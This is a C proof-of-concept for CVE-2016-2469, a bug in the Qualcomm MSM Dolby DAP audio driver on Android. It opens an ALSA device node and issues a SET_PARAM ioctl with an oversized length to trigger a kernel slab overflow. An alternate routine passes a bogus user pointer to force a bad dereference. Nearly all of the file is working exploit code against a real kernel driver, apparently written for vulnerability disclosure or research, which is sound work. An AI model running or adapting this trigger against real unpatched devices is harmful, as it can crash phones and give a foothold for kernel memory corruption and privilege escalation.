/**
 *
 * CVE-2016-2469.c
 * https://code.google.com/p/android/issues/detail?id=202452
 *
 * https://android.googlesource.com/kernel/msm.git/+/android-msm-bullhead-3.10-marshmallow-mr1/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c#1473
 *
 * use -I ./kernels/msm/include/uapi/sound/
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include "devdep_params.h" //./include/uapi/sound/devdep_params.h


enum {
        DEVICE_NONE                     = 0x0,
        /* output devices */
        EARPIECE                        = 0x1,
        SPEAKER                         = 0x2,
        WIRED_HEADSET                   = 0x4,
        WIRED_HEADPHONE                 = 0x8,
        BLUETOOTH_SCO                   = 0x10,
        BLUETOOTH_SCO_HEADSET           = 0x20,
        BLUETOOTH_SCO_CARKIT            = 0x40,
        BLUETOOTH_A2DP                  = 0x80,
        BLUETOOTH_A2DP_HEADPHONES       = 0x100,
        BLUETOOTH_A2DP_SPEAKER          = 0x200,
        AUX_DIGITAL                     = 0x400,
        ANLG_DOCK_HEADSET               = 0x800,
        DGTL_DOCK_HEADSET               = 0x1000,
        USB_ACCESSORY                   = 0x2000,
        USB_DEVICE                      = 0x4000,
        REMOTE_SUBMIX                   = 0x8000,
        ANC_HEADSET                     = 0x10000,
        ANC_HEADPHONE                   = 0x20000,
        PROXY                           = 0x2000000,
        FM                              = 0x100000,
        FM_TX                           = 0x1000000,
        DEVICE_OUT_DEFAULT              = 0x40000000,
        DEVICE_OUT_ALL                  = 0x403FFFFF,
};

#define VOICE_PLAYBACK_TX 0x8005
#define DOLBY_PARAM_ID_VDHE            0x0001074D
#define DOLBY_PARAM_ID_VSPE            0x00010750

static void trigger_slab_overflow(int fd, struct dolby_param_data *pass)
{
	pass->length = 200000000;
	/*mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
	*/
	pass->data = mmap(NULL, 1000000000, PROT_READ, MAP_ANON, -1, 0);
	if (pass->data == NULL) {
		printf("failed to get 1gb of vm\n");
		close(fd);
		exit(EXIT_FAILURE);
	}

	ioctl(fd, SNDRV_DEVDEP_DAP_IOCTL_SET_PARAM, pass);
}

static void trigger_user_deref(int fd, struct dolby_param_data *pass)
{
	pass->length = 20;
	pass->data = (void*)0x15;
	ioctl(fd, SNDRV_DEVDEP_DAP_IOCTL_SET_PARAM, pass);
}


int main(void)
{
	int i;
	char dev[36] = { 0 };
	int fd;

	struct dolby_param_data pass;
	/* setup sane params to pass a few checks */
	pass.device_id = DEVICE_NONE;
	pass.be_id = 1;
	pass.param_id = DOLBY_PARAM_ID_VSPE;

	//for (i = 0; i < 87; i++) {
	snprintf(dev, sizeof(dev), "/dev/snd/%s", "hwC0D10");//devs[i]);
	printf("Opening %s\n", dev);
	fd = open(dev, O_WRONLY);
	if (fd > 0) {
		printf("ioctl\n");
		sleep(2);
		trigger_slab_overflow(fd, &pass);
		//trigger_user_deref(fd, &pass);
	}
	else
		printf("Error on %s with %s\n", dev, strerror(errno));

	return EXIT_FAILURE;
}
